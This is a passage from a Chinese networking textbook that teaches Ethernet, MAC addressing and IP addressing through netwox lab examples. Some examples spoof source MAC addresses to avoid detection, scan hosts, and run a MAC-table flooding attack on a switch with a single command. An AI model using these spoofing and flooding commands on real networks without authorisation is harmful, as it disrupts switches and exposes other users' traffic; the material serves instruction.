·IEEE 802.16（WiMAX）：用于移动通信长距离无线连接的技术。

·点到点协议（PPP）：使用Modem通过电话线进行连接的技术，如通过拨号方式建立的网络连接。


2.3　物理地址

物理地址是一种标识符，用来标记网络中的每个设备。同现实生活中收发快递一样，网络内传输的所有数据包都会包含发送方和接收方的物理地址。由于网络设备对物理地址的处理能力有限，物理地址只在当前局域网内有效。所以，接收方的物理地址都必须存在于当前局域网内，否则会导致发送失败。本节将详细讲解物理地址的使用。


2.3.1　MAC地址是预留的

由于数据包中都会包含发送方和接收方的物理地址，数据包从起始地发送到目的地，为了能够正确地将数据包发送出去，就必须要求MAC地址具有唯一性。因此MAC地址都是由生产厂家在生产时固化在网络硬件中，是硬件预留的地址。


2.3.2　MAC地址格式

硬件的MAC地址是厂家按照一定的规则，进行设置所产生的。因此，MAC地址拥有自己的格式。它采用十六进制数表示，共6个字节（48位），长度为48bit。整个地址可以分为前24位和后24位，代表不同的含义。

·前24位称为组织唯一标识符（Organizationally Unique Identifier，OUI），是由IEEE的注册管理机构给不同厂家分配的代码，区分了不同的厂家。

·后24位是由厂家自己分配的，称为扩展标识符。同一个厂家生产的网卡中MAC地址后24位是不同的。


2.3.3　查询MAC厂商

由于MAC地址的前24位是生产厂商的标识符，因此可以根据前24位标识符判断出硬件的生产厂商和生产地址。用户可以在一些网站上查询，如http://mac.51240.com/
 。

【实例2-2】查询MAC地址00：0C：29：CA：E4：66所对应的厂商。

（1）在浏览器中输入网址http://mac.51240.com/
 ，如图2.1所示。
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图2.1　网站首页

（2）在“MAC地址”文本框中输入MAC地址00-0C-29-CA-E4-66。然后单击“查询”按钮，查询结果如图2.2所示。
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图2.2　MAC地址查询结果

从图2.2显示的信息中，可以看到MAC地址00-0C-29-CA-E4-66的厂商是VMware，Inc，由此可以推断出这是一台虚拟机设备，并且可以看到厂家对应的省份、街道、邮编等信息。


2.3.4　查看网络主机MAC地址信息

一个局域网或公司中往往存在多台计算机，这些计算机都有自己的MAC地址和IP地址。其中，IP地址是可变的，而MAC地址一般是不可变的。为了准确地识别主机，用户可以获取计算机对应的MAC地址。

【实例2-3】显示网络主机MAC地址信息。

（1）显示局域网中指定主机的MAC地址信息。例如，显示主机192.168.59.133的MAC地址。执行命令如下：



root@daxueba:~# netwox 5 -i 192.168.59.133



输出信息如下：



192.168.59.133       00:0C:29:D0:21:23



输出信息表示主机192.168.59.133的MAC地址为00：0C：29：D0：21：23。

（2）显示局域网中所有主机的MAC地址，执行命令如下：



root@daxueba:~# netwox 5 -i 192.168.59.0/24



输出所有主机的MAC地址如下：



192.168.59.1              00:50:56:C0:00:08
192.168.59.2              00:50:56:EA:F3:A1
192.168.59.131            00:0C:29:CA:E4:66
192.168.59.132            00:0C:29:C4:8A:DE
192.168.59.133            00:0C:29:D0:21:23
192.168.59.254            00:50:56:F0:69:32



以上输出信息显示了局域网中所有启用主机的IP地址和对应的MAC地址。

（3）在显示局域网中所有主机的MAC地址信息时，有时由于暂时没有发现主机，等待较长的时间，也不会有任何输出信息。为了能够更好地了解当前的进度，可以使用-u选项，显示未发现主机的MAC地址的信息，进而可以查看扫描进度。执行命令如下：



root@daxueba:~# netwox 5 -i 192.168.59.0/24 -u



输出信息如下：



192.168.59.0            unresolved
192.168.59.1            00:50:56:C0:00:08
192.168.59.2            00:50:56:EA:F3:A1
192.168.59.3            unresolved
…                                                #省略其他信息
192.168.59.131            00:0C:29:CA:E4:66
192.168.59.132            00:0C:29:C4:8A:DE
192.168.59.133            00:0C:29:D0:21:23
192.168.59.134            unresolved
192.168.59.135            unresolved
…                                                #省略其他信息
192.168.59.254            00:50:56:F0:69:32
192.168.59.255            unresolved



从输出信息可以看到，程序对局域网中的所有主机进行了扫描，主机IP地址为192.168.59.0到192.168.59.255。如果扫描的主机存在，则给出对应的MAC地址；如果主机不存在，则显示为unresolved。


2.3.5　根据MAC地址获取主机其他信息

进行数据传输的主机不仅拥有MAC地址，还拥有路由器分配的IP地址，有的还会有自己的主机名、标题等信息。如果知道了主机的MAC地址信息，那么就可以使用netwox工具获取该主机的这些信息。

【实例2-4】已知一主机的MAC地址为00：0C：29：CA：E4：66，显示该主机的其他信息。

（1）显示该主机相关信息，执行命令如下：



root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66



输出信息如下：



IP address:  192.168.59.131
Hostname:    localhost
Hostnames:   localhost



从输出信息可以看到，该主机的IP地址为192.168.59.131，主机名为localhost。

（2）如果在显示信息时只想显示IP地址信息，可以使用--ip选项，执行命令如下：



root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66 --ip



输出信息只有IP地址信息，如下：



192.168.59.131



（3）如果在显示信息时只想显示主机名信息，可以使用--host选项，执行命令如下：



root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66 --host



输出信息只有主机名信息，如下：



localhost



（4）如果在显示信息时只想显示标题信息，可以使用--title选项，执行命令如下：



root@daxueba:~# netwox 4 -e 00:0C:29:CA:E4:66 --title



执行命令后，如果没有输出信息，表示该主机没有标题信息。


2.4　以太网

以太网是现有局域网最常用的通信协议标准，其网络结构通常为星型结构。在网络中，计算机使用传输介质进行连接，网络数据通过传输介质进行传输来完成整个通信。本节将详细讲解以太网中的相关概念。


2.4.1　以太网连接

以太网是目前最为广泛的局域网技术，下面具体讲解网络设备之间连接和数据传输的方法，以及以太网中的两个网络设备进行连接的方法。

1.拓扑结构

计算机网络的拓扑结构是引用拓扑学中研究与大小、形状无关的点、线关系的方法。它把网络中的计算机和通信设备抽象为一个点，把传输介质抽象为一条线，而由点和线组成的几何图形就是计算机网络的拓扑结构。以太网结构主要分为总线型和星型两种。

·总线型：是指所有计算机通过一条同轴电缆进行连接。

·星型：是指所有计算机都连接到一个中央网络设备上（如交换机）。

2.传输介质

不论是总线型还是星型，计算机和通信设备之间进行数据传输都需要有传输介质。以太网采用了多种连接介质，如同轴缆、双绞线和光纤等。其中，双绞线多用于从主机到集线器或交换机的连接，而光纤则主要用于交换机间的级联和交换机到路由器间的点到点链路上。同轴缆作为早期的主要连接介质，现在已经逐渐被淘汰。

3.工作机制

有了传输介质以后，以太网中的数据就可以借助传输介质进行传输了。以太网采用附加冲突检测的载波帧听多路访问（CSMA/CD）机制，以太网中所有节点都可以看到在网络中发送的所有信息。因此，以太网是一种广播网络。它需要判断计算机何时可以把数据发送到访问介质。通过使用CSMA/CD，所有计算机都可以监视传输介质的状态，在传输之前等待线路空闲。如果两台计算机尝试同时发送数据，就会发生冲突，计算机会停止发送，等待一个随机的时间间隔，然后再次尝试发送。

当以太网中的一台主机要传输数据时，工作过程如下：

（1）监听信道上是否有信号在传输。如果有，表示信道处于忙状态，则继续帧听，直到信道空闲为止。

（2）若没有监听到任何信号，就传输数据。

（3）传输数据的时候继续监听。如果发现冲突，则执行退避算法。随机等待一段时间后，重新执行步骤（1）。当冲突发生时，涉及冲突的计算机会返回监听信道状态。若未发现冲突，则表示发送成功。


2.4.2　以太帧结构

以太网链路传输的数据包称做以太帧。在以太网中，网络访问层的软件必须把数据转换成能够通过网络适配器硬件进行传输的格式。

1.工作机制

当以太网软件从网络层接收到数据报之后，需要完成如下操作：

（1）根据需要把网际层的数据分解为较小的块，以符合以太网帧数据段的要求。以太网帧的整体大小必须在64～1518字节之间（不包含前导码）。有些系统支持更大的帧，最大可以支持9000字节。

（2）把数据块打包成帧。每一帧都包含数据及其他信息，这些信息是以太网网络适配器处理帧所需要的。

（3）把数据帧传递给对应于OSI模型物理层的底层组件，后者把帧转换为比特流，并且通过传输介质发送出去。

（4）以太网上的其他网络适配器接收到这个帧，检查其中的目的地址。如果目的地址与网络适配器的地址相匹配，适配器软件就会处理接收到的帧，把数据传递给协议栈中较高的层。

2.以太帧结构

以太帧起始部分由前同步码和帧开始定界符组成。后面紧跟着一个以太网报头，以MAC地址说明目的地址和源地址。帧的中部是该帧负载的包含其他协议报头的数据包，如IP协议。以太帧由一个32位冗余校验码结尾，用于检验数据传输是否出现损坏。以太帧结构如图2.3所示。
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图2.3　以太帧结构

图2.3中每个字段含义如下：

·前同步码：用来使接收端的适配器在接收MAC帧时能够迅速调整时钟频率，使它和发送端的频率相同。前同步码为7个字节，1和0交替。

·帧开始定界符：帧的起始符，为1个字节。前6位1和0交替，最后的两个连续的1表示告诉接收端适配器：“帧信息要来了，准备接收”。

·目的地址：接收帧的网络适配器的物理地址（MAC地址），为6个字节（48比特）。作用是当网卡接收到一个数据帧时，首先会检查该帧的目的地址，是否与当前适配器的物理地址相同，如果相同，就会进一步处理；如果不同，则直接丢弃。

·源地址：发送帧的网络适配器的物理地址（MAC地址），为6个字节（48比特）。

·类型：上层协议的类型。由于上层协议众多，所以在处理数据的时候必须设置该字段，标识数据交付哪个协议处理。例如，字段为0x0800时，表示将数据交付给IP协议。

·数据：也称为效载荷，表示交付给上层的数据。以太网帧数据长度最小为46字节，最大为1500字节。如果不足46字节时，会填充到最小长度。最大值也叫最大传输单元（MTU）。在Linux中，使用ifconfig命令可以查看该值，通常为1500。

·帧检验序列FCS：检测该帧是否出现差错，占4个字节（32比特）。发送方计算帧的循环冗余码校验（CRC）值，把这个值写到帧里。接收方计算机重新计算CRC，与FCS字段的值进行比较。如果两个值不相同，则表示传输过程中发生了数据丢失或改变。这时，就需要重新传输这一帧。


2.4.3　构建以太帧

通过上一节的学习了解了以太帧的结构。用户可以根据需要设置以太帧的字段值，从而构建以太帧。netwox工具中编号为32的模块提供了以太帧构建功能。

【实例2-5】构建以太网数据帧。

（1）查看以太网数据帧，执行命令如下：



root@daxueba:~# netwox 32



输出信息如下：



Ethernet________________________________________________________.
| 00:0C:29:CA:E4:66->00:08:09:0A:0B:0C type:0x0000           |
|____________________________________________________________|



上述输出信息中的00：0C：29：CA：E4：66为源MAC地址，是当前主机的MAC地址；00：08：09：0A：0B：0C为目标MAC地址，0x0000为以太网类型。

（2）构建以太帧，设置源MAC地址为00：0c：29：c4：8a：de，目标MAC地址为01：02：03：04：05：06，执行命令如下：



root@daxueba:~# netwox 32 -a 00:0c:29:c4:8a:de -b 01:02:03:04:05:06



输出信息如下：



Ethernet________________________________________________________.
| 00:0C:29:C4:8A:DE->01:02:03:04:05:06 type:0x0000              |
|_____________________________________________________________|



从输出信息可以看到，源MAC地址由原来的00：0C：29：CA：E4：66变为了00：0C：29：C4：8A：DE；目标MAC地址由原来的00：08：09：0A：0B：0C变为了01：02：03：04：05：06。

（3）为了验证构建的以太帧，通过Wireshark工具进行抓包。在链路层中可以看到伪造的源MAC地址和目标MAC地址，信息如下：



Ethernet II, Src: Vmware_c4:8a:de (00:0c:29:c4:8a:de), Dst: Woonsang_04:05:
06(01:02:03:04:05:06)



（4）为了不被其他主机发现，在构造数据包时，可以指定假的源MAC地址。但是，每构造一次只能发送一个数据包。如果需要发送多个数据包，就需要构造多次。为了方便，可以使用macchanger工具临时修改MAC地址，这样就不需要每次构造假的源MAC地址了。例如，将当前主机的MAC地址修改为00：0c：29：aa：e0：28，执行命令如下：



Current MAC:         00:0c:29:ca:e4:66 (VMware, Inc.)
Permanent MAC:       00:0c:29:ca:e4:66 (VMware, Inc.)
New MAC:             00:0c:29:aa:e0:28 (VMware, Inc.)



以上输出信息表示当前主机原来的MAC地址为00：0c：29：ca：e4：66，修改后的MAC地址为00：0c：29：aa：e0：28。

（5）再次使用netwox工具进行发包，默认使用修改后的MAC地址作为源MAC地址，如下：



root@daxueba:~# netwox 32



输出信息如下：



Ethernet_________________________________________________
| 00:0C:29:AA:E0:28->00:08:09:0A:0B:0C type:0x0000              |
|_______________________________________________________ |




2.4.4　以太帧洪水攻击

交换机为了方便数据传输，通常会存储每个端口所对应的MAC地址，形成一张表。当交换机收到计算机发来的以太帧时，就会查看帧中的源MAC地址，并查找存储的表。如果表中存在该MAC地址，就直接转发数据。如果没有，则将该MAC地址存入该表中。

当其他计算机向这个MAC地址发送数据时，可以快速决定向哪个端口发送数据。由于该表不可能是无穷大的，所以当达到一定数量时，将不会储存其他新的MAC地址。再有新的主机发来数据帧时，部分交换机将不再查找对应的端口，而是以广播的形式转发给所有的端口。这样，就使其他主机可以接收到该数据帧了。

netwox工具提供编号为75的模块，用来实现以太帧洪水攻击功能。它可以伪造大量的以太网数据包，填满交换机的存储表，使交换机失去正确的转发功能。

【实例2-6】实施以太帧洪水攻击，执行命令如下：



root@daxueba:~# netwox 75



执行命令后没有任何输出信息，但是会发送大量的以太网数据包。使用Wireshark工具进行抓包，如图2.4所示。图中捕获的数据包为以太帧洪水攻击产生的数据包。

[image: ]


图2.4　以太帧洪水攻击产生的数据包


2.5　网络配置信息

计算机的网络配置信息包含网络设备接口、IP地址、MAC地址和掩码等信息。为了方便用户查看计算机中的这些信息，netwox工具提供了对应的模块，用于获取网络配置信息。


2.5.1　显示网络配置信息

为了了解当前网络的相关信息，netwox工具提供了编号为1的模块。它可以显示当前主机的网络接口信息、主机的IP地址信息，以及路由表等信息。

【实例2-7】显示网络配置信息，执行命令如下：



root@daxueba:~# netwox 1



执行命令后将显示当前网络设备信息。由于信息较多，下面对每个部分进行讲解。

（1）显示网络设备接口列表信息如下：



############################## Devices ###############################
nu       dev         ethernet_hwtype         mtu         real_device_name
1        Lo0         loopback                65536       lo
2        Eth0        00:0C:29:CA:E4:66       1500        eth0



以上输出信息中每列含义如下：

·nu：设备编号。

·dev：设备接口名称的简单形式。

·ethernet_hwtype：以太网地址或硬件类型。

·mtu：MTU值。

·real_device_name：设备接口名称的真正形式。

（2）显示IP地址列表信息如下：



################################# IP #################################
nu       ip                   /netmask                          ppp point_to_point_with
1        127.0.0.1            /255.0.0.0                              0
1        ::1/128                                                      0
2        192.168.59.131       /255.255.255.0                          0
2        fd15:4ba5:5a2b:1008:20c:29ff:feca:e466/64                    0
2        fe80::20c:29ff:feca:e466/64                                  0
2        fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a/64                   0



以上输出信息中每列含义如下：

·nu：与此地址关联的设备编号。

·ip：IP地址。

·netmask：子网掩码。

·ppp：点对点的地址。

·point_to_point_with：远程端点的地址。

（3）IP4 ARP缓存或IP6邻居信息如下：



######################### ArpCache/Neighbor ##########################
nu       ethernet                      ip
2        00:0C:29:C4:8A:DE             192.168.59.132
2        00:0C:29:CA:E4:66             192.168.59.131
2        00:0C:29:CA:E4:66 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466
2        00:0C:29:CA:E4:66 fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a
2        00:0C:29:CA:E4:66 fe80::20c:29ff:feca:e466
2        00:50:56:EA:F3:A1             192.168.59.2
2        00:50:56:EA:F3:A1 fe80::250:56ff:fec0:2222
2        00:50:56:F0:69:32             192.168.59.254



以上输出信息中每列含义如下：

·nu：与此条目关联的设备编号。

·ethernet：计算机的以太网地址。

·ip：计算机的IP地址。

（4）显示路由信息如下：



############################## Routes ################################
nu       destination          /netmask         source          gateway           metric
1        127.0.0.1            /255.255.255.255       local             0
2        192.168.59.131       /255.255.255.255       local             0
2        192.168.59.0         /255.255.255.0       192.168.59.131     100
1        127.0.0.0            /255.0.0.0             127.0.0.1         0
2        0.0.0.0                 /0.0.0.0                     192.168.59.131     192.168.59.2   100
1        ::1/128                                     local              0
2        fd15:4ba5:5a2b:1008:20c:29ff:feca:e466/128  local              0
2        fe80::20c:29ff:feca:e466/128                local              0
2        fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a/128 local              0
2        fd15:4ba5:5a2b:1008::/64   fd15:4ba5:5a2b:1008:20c:29ff:feca:e466  0
2        fe80::/64             fe80::20c:29ff:feca:e466         0
2        fd15:4ba5:5a2b:1008::/64  fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a  0
2        fd15:4ba5:5a2b:1008::/64  fd15:4ba5:5a2b:1008:20c:29ff:feca:e466
fe80::250:56ff:fec0:2222 100
2        ::/0           fe80::20c:29ff:feca:e466 fe80::250:56ff:fec0:2222 100



以上输出信息中每列含义如下：

·nu：与此条目关联的设备编号。

·destination：目标地址。

·netmask：掩码。

·source：源IP地址或本地路由。

·gateway：网关。

·metric：路线度量。


2.5.2　显示网络调试信息

如果想了解更多的网络信息，netwox工具还提供了编号为2的模块，用于显示网络调试信息。

【实例2-8】显示网络调试信息，执行命令如下：



root@daxueba:~# netwox 2



执行命令后可以看到，不仅显示了网络配置信息，还显示了调试信息：



Netwox toolbox version 5.39.0.                                    #版本信息
Netwib library version 5.39.0.

####****####****####****####****####
NETWIBDEF_SYSNAME="Linux"
NETWIBDEF_SYSARCH="amd64"
NETWIBDEF_ARCH_ENDIAN=0
NETWIBDEF_ARCH_BITS=64
NETWIBDEF_ARCH_ALIGN=1
                                                                  #省略其他信息
NETWIBDEF_HAVEVAR_SC_GETPW_R_SIZE_MAX=1
NETWIBDEF_HAVEVAR_SC_GETGR_R_SIZE_MAX=1
Error 0 : ok                                                      #0个错误

####****####****####****####****####
############################## Devices ################################
nu       dev         ethernet_hwtype         mtu         real_device_name
1        Lo0         loopback                65536       lo
2        Eth0        00:0C:29:CA:E4:66       1500        eth0
################################# IP ##################################
nu       ip                   /netmask                          ppp point_to_point_with
1        127.0.0.1            /255.0.0.0                              0
1        ::1/128                                                      0
2        192.168.59.131       /255.255.255.0                          0
2        fd15:4ba5:5a2b:1008:20c:29ff:feca:e466/64                    0
2        fe80::20c:29ff:feca:e466/64                                  0
2        fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a/64                   0
########################## ArpCache/Neighbor ##########################
nu       ethernet                      ip
2        00:0C:29:C4:8A:DE             192.168.59.132
2        00:0C:29:CA:E4:66             192.168.59.131
2        00:0C:29:CA:E4:66 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466
2        00:0C:29:CA:E4:66 fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a
2        00:0C:29:CA:E4:66 fe80::20c:29ff:feca:e466
2        00:50:56:EA:F3:A1             192.168.59.2
2        00:50:56:EA:F3:A1 fe80::250:56ff:fec0:2222
2        00:50:56:F0:69:32             192.168.59.254
############################## Routes #################################
nu       destination          /netmask         source        gateway        metric
1        127.0.0.1            /255.255.255.255       local                       0
2        192.168.59.131      /255.255.255.255        local                       0
2        192.168.59.0         /255.255.255.0         192.168.59.131              100
1        127.0.0.0            /255.0.0.0             127.0.0.1                   0
2        0.0.0.0              /0.0.0.0               192.168.59.131   192.168.59.2  100
1        ::1/128                                     local                       0
2        fd15:4ba5:5a2b:1008:20c:29ff:feca:e466/128  local                       0
2        fe80::20c:29ff:feca:e466/128                local                       0
2        fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a/128 local                       0
2        fd15:4ba5:5a2b:1008::/64  fd15:4ba5:5a2b:1008:20c:29ff:feca:e466        0
2        fe80::/64      fe80::20c:29ff:feca:e466                                 0
2        fd15:4ba5:5a2b:1008::/64  fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a       0
2        fd15:4ba5:5a2b:1008::/64  fd15:4ba5:5a2b:1008:20c:29ff:feca:e466
fe80::250:56ff:fec0:2222 100
2        ::/0            fe80::20c:29ff:feca:e466 fe80::250:56ff:fec0:2222 100
Error 0 : ok
 hint: errno = 19 = No such device
 hint: this is not an IPv4 address: fe80::250:56ff:fec0:2222

####****####****####****####****####

:::: After devices_ioctl ::::                              # devices_ioctl信息
 $$$ devices $$$
  d=0,lo, m=65536 t=loopback
  d=0,eth0, m=1500 t=ethernet>00:0C:29:CA:E4:66
  d=0,lo, m=65536 t=loopback
  d=0,eth0, m=1500 t=ethernet>00:0C:29:CA:E4:66

 $$$ ip $$$
  d=0,lo i=127.0.0.1/255.0.0.0 p=false
  d=0,eth0 i=192.168.59.131/255.255.255.0 p=false

 $$$ arpcache $$$

 $$$ routes $$$

:::: After procnetifinet6 ::::                              # procnetifinet6信息
 $$$ devices $$$
  d=0,lo, m=65536 t=loopback
  d=0,eth0, m=1500 t=ethernet>00:0C:29:CA:E4:66
  d=0,lo, m=65536 t=loopback
  d=0,eth0, m=1500 t=ethernet>00:0C:29:CA:E4:66

 $$$ ip $$$
  d=0,lo i=127.0.0.1/255.0.0.0 p=false
  d=0,eth0 i=192.168.59.131/255.255.255.0 p=false
  d=0,lo i=::1/128 p=false
  d=0,eth0 i=fd15:4ba5:5a2b:1008:20c:29ff:feca:e466/64 p=false
  d=0,eth0 i=fe80::20c:29ff:feca:e466/64 p=false
  d=0,eth0 i=fd15:4ba5:5a2b:1008:4c3c:fda9:c3dc:499a/64 p=false
…                                                           #省略其他信息
$$$ routes $$$
  d=1,lo i=127.0.0.1/255.255.255.255 s=false g=false m=0
  d=2,eth0 i=192.168.59.131/255.255.255.255 s=false g=false m=0
  d=2,eth0 i=192.168.59.0/255.255.255.0 s=true,192.168.59.131 g=false m=100
  d=1,lo i=127.0.0.0/255.0.0.0 s=true,127.0.0.1 g=false m=0
  d=2,eth0 i=::/0 s=true,fe80::20c:29ff:feca:e466 g=true,fe80::250:56ff:
fec0:2222 m=100
Error 0 : ok
 hint: errno = 19 = No such device
 hint: this is not an IPv4 address: fe80::250:56ff:fec0:2222

####****####****####****####****####
END




第3章　网际层和IP协议

网际层是TCP/IP协议的第二层。它提供独立于硬件的逻辑寻址，从而让数据能够在具有不同物理结构的子网之间传递。这种传递基于IP协议提供的IP地址实现。本章将详细介绍网际层中的IP地址规范及IP协议。


3.1　IP地址

IP地址（Internet Protocol Address）是互联网协议特有的一种地址。它是IP协议提供的一种统一的地址格式。它为互联网上的每一个网络和每一台主机分配一个逻辑地址，以此来屏蔽物理地址的差异。本节将详细讲解IP地址的构成和划分。


3.1.1　为什么使用IP地址

在单个局域网网段中，计算机与计算机之间可以使用网络访问层提供的MAC地址进行通信。如果在路由式网络中，计算机之间进行通信就不能利用MAC地址实现数据传输了。因为MAC地址不能跨路由接口运行；即使强行实现跨越，使用MAC地址传输数据也是非常麻烦的。这是由于内置在网卡里的固定MAC地址不能在地址空间上引入逻辑结构，使其无法具备真正的地址来表示国家、省、市、区、街道、路、号这类层次。因此，要进行数据传输，必须使用一种逻辑化、层次化的寻址方案对网络进行组织。这就是IP地址。

网络中的每个计算机都有对应的IP地址。用户可以使用netwox工具探测目标主机。

【实例3-1】显示目标主机的相关信息。

（1）探测局域网中所有主机的IP地址、主机名和MAC地址信息。



root@daxueba:~# netwox 3 -a 192.168.59.0/24



显示的所有主机信息如下；



IP address:        192.168.59.0
Hostname:    localhost
Hostnames:   localhost
Eth address:      unresolved

IP address:        192.168.59.1                                    #主机IP地址
Hostname:    localhost
Hostnames:   localhost
Eth address:       00:50:56:C0:00:08                               #MAC地址

IP address:        192.168.59.2                                    #主机IP地址
Hostname:    localhost
Hostnames:   localhost
Eth address:       00:50:56:EA:F3:A1                               #MAC地址
…                                                                  #省略其他信息
IP address:        192.168.59.131                                  #主机IP地址
Hostname:    localhost
Hostnames:   localhost
Eth address:       00:0C:29:CA:E4:66                               #MAC地址

IP address:        192.168.59.132                                  #主机IP地址
Hostname:    localhost
Hostnames:   localhost
Eth address:       00:0C:29:C4:8A:DE                               #MAC地址
…                                                                  #省略其他信息
IP address:        192.168.59.254                                  #主机IP地址
Hostname:    localhost
Hostnames:   localhost
Eth address:       00:50:56:F7:32:70                               #MAC地址

IP address:        192.168.59.255                                  #主机IP地址
Hostname:    localhost
Hostnames:   localhost
Eth address:       unresolved



以上输出信息依次显示了局域网中的所有主机信息，主机IP地址为192.168.59.0到192.168.59.255。如果主机存在，就在Eth address部分中显示对应的MAC地址，如果主机不存在，则显示为unresolved。从输出信息中可以了解到，主机192.168.59.131存在，其MAC地址为00：0C：29：CA：E4：66。

（2）主机可以被用做服务器，探测域名为www.163.com
 的所有主机的IP地址、主机名，以及MAC地址信息。



root@daxueba:~# netwox 3 -a www.163.com



输出信息如下：



IP address:        220.194.153.86
Hostname:    unresolved
Hostnames:   unresolved
Eth address:       unresolved

IP address:        218.26.75.208                           #IPv4地址
Hostname:    208.75.26.218.internet.sx.cn                  #主机名
Hostnames:   208.75.26.218.internet.sx.cn
Eth address:       unresolved

IP address:        124.163.192.254                         #IPv4地址
Hostname:    254.192.163.124.adsl-pool.sx.cn               #主机名
Hostnames:   254.192.163.124.adsl-pool.sx.cn
Eth address:       unresolved

IP address:        2408:80f1:201:1::7                      #IPv6地址
Hostname:    unresolved
Hostnames:   unresolved
Eth address:      00:50:56:EA:F3:A1                        #MAC地址

IP address:        2408:80f1:201:1::6                      #IPv6地址
Hostname:    unresolved
Hostnames:   unresolved
Eth address:       00:50:56:EA:F3:A1                       #MAC地址



以上输出信息显示了域名www.163.com
 的主机所使用的IP地址、主机名，以及MAC地址信息。


3.1.2　IP地址构成

在网际层中，利用IP地址将数据传输到目的地。为了能够使数据正确地发送到目标主机上，网络上的IP地址必须有一定的规则来识别主机的位置。下面介绍IP地址的构成。

1.基本构成

为了便于寻址，了解目标主机的位置，每个IP地址包括两个标识码（ID），即网络ID和主机ID。同一个物理网络上的所有主机都使用同一个网络ID，网络上的一个主机（包括网络上的工作站、服务器和路由器等）有一个主机ID与其对应。网络ID和主机ID含义如下：

·网络ID：用于识别主机所在的网络，网络ID的位数直接决定了可以分配的网络数量。

·主机ID：用于识别该网络中的主机，主机ID的位数则决定了网络中最大的主机数量。

2.基本分类

大型网络包含大量的主机，而小型网络包含少量的主机。根据用户需求不同，一个网络包含的主机数量也会不同。为了满足不同场景的需要，网络必须使用一种方式来判断IP地址中哪一部分是网络ID，哪一部分是主机ID。IP地址为32位地址，被分为4个8位段。为了方便对IP地址的管理，将IP地址基本分为三大类，每类地址的分类与含义如下：

·A类：前8位表示网络ID，后24位表示主机ID；该地址分配给政府机关单位使用。

·B类：前16位表示网络ID，后16位表示主机ID；该地址分配给中等规模的企业使用。

·C类：前24位表示网络ID，后8位表示主机ID；该地址分配给任何需要的人使用。

除了上述的A、B、C三类地址以外，还有两类隐藏地址，即D类地址和E类地址：

·D类：不分网络ID和主机ID；该地址用于多播。

·E类：不分网络ID和主机ID；该地址用于实验。

3.地址区分

IP地址被分类以后，如何判断一个IP地址是A类、B类还是C类地址呢？为了更好地进行区分，将每类地址的开头部分设置为固定数值，如图3.1所示。
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图3.1　IP地址区别

从图3.1中可以看出，每类IP地址都是以32位的二进制格式显示的，每类地址的区别如下：

·A类：网络ID的第一位以0开始的地址。

·B类：网络ID的第一位以10开始的地址。

·C类：网络ID的第一位以110开始的地址。

·D类：地址以1110开始的地址。

·E类：地址以11110开始的地址。

4.地址范围

由于每类地址的开头是固定的，因此每类地址都有自己的范围：

·A类：IP地址范围为0.0.0.0～127.255.255.255。

·B类：IP地址范围为128.0.0.0～191.255.255.255。

·C类：IP地址范围为192.0.0.0～223.255.255.255。

·D类：IP地址范围为224.0.0.0～239.255.255.255。

·E类：IP地址范围为240.0.0.0～255.255.255.254。

5.特殊IP地址

在进行IP地址分配时，有一些IP地址具有特殊含义，不会分配给互联网的主机。例如，保留了一些IP地址范围，用于私有网络，这些地址被称为私有地址。再如，保留一部分地址用于测试，被称为保留地址。A类、B类、C类地址的地址范围及含义如下：

（1）A类地址

·私有地址范围为10.0.0.0～10.255.255.255。

·保留地址范围为127.0.0.0～127.255.255.255.

（2）B类地址

·私有地址范围为172.16.0.0～172.31.255.255。

·保留地址为169.254.X.X。

（3）C类地址

私有地址范围为192.168.0.0～192.168.255.255。


3.1.3　子网划分

数据在网络中进行传输是通过识别IP地址中的网络ID，从而将数据发送到正确的网络中。然后再根据主机ID将数据发送到目标主机上。如果一个网络中包含了百万台主机，数据通过网关找到对应的网络后，很难快速地发送到目标主机上。为了能够在大型网络中实现更高效的数据传输，需要进行子网划分，将网络划分为更小的网络。

子网划分是将IP地址的主机ID部分划分为子网ID和主机ID。其中，子网ID用来寻找网络内的子网；主机ID用来寻找子网中的主机。子网掩码则是用来指明地址中多少位用于子网ID，保留多少位用于实际的主机ID。


3.1.4　CIDR格式

将IP地址分为A类、B类、C类后，会造成IP地址的部分浪费。例如，一些连续的IP地址，一部分属于A类地址，另一部分属于B类地址。为了使这些地址聚合以方便管理，出现了CIDR（无类域间路由）。

无类域间路由（Classless Inter-Domain Routing，CIDR）可以将路由集中起来，在路由表中更灵活地定义地址。它不区分A类、B类、C类地址，而是使用CIDR前缀的值指定地址中作为网络ID的位数。这个前缀可以位于地址空间的任何位置，让管理者能够以更灵活的方式定义子网，以简便的形式指定地址中网络ID部分和主机ID部分。

CIDR标记使用一个斜线（/）分隔符，后面跟一个十进制数值表示地址中网络部分所占的位数。例如，205.123.196.183/25中的25表示地址中25位用于网络ID，相应的掩码为255.255.255.128。

【实例3-2】已知CIDR格式地址为192.168.1.32/27，计算该地址的掩码，并显示包含了多少台主机。

（1）列出包含的所有主机。



root@daxueba:~# netwox 213 -i 192.168.1.32/27



输出信息如下：



192.168.1.32
192.168.1.33
192.168.1.34
192.168.1.35
192.168.1.36
192.168.1.37
192.168.1.38
…                                                                  #省略其他信息
192.168.1.57
192.168.1.58
192.168.1.59
192.168.1.60
192.168.1.61
192.168.1.62
192.168.1.63



上述输出信息显示该CIDR地址中包含了32台主机，IP地址为192.168.1.32～192.168.1.63。

（2）计算IP地址192.168.1.32/27的掩码。



root@daxueba:~# netwox 24 -i 192.168.1.32/27



输出信息如下：



192.168.1.32-192.168.1.63                              #IP地址范围
192.168.1.32/27                                        #IP地址段
192.168.1.32/255.255.255.224                           #掩码
localhost=localhost                                    #主机名



上述输出信息显示掩码为255.255.255.224。


3.2　IP协议

IP协议提供了一种分层的、与硬件无关的寻址系统，它可以在复杂的路由式网络中传递数据所需的服务。IP协议可以将多个交换网络连接起来，在源地址和目的地址之间传送数据包。同时，它还提供数据重新组装功能，以适应不同网络对数据包大小的要求。本节将详细讲解IP协议的使用。


3.2.1　IP协议工作方式

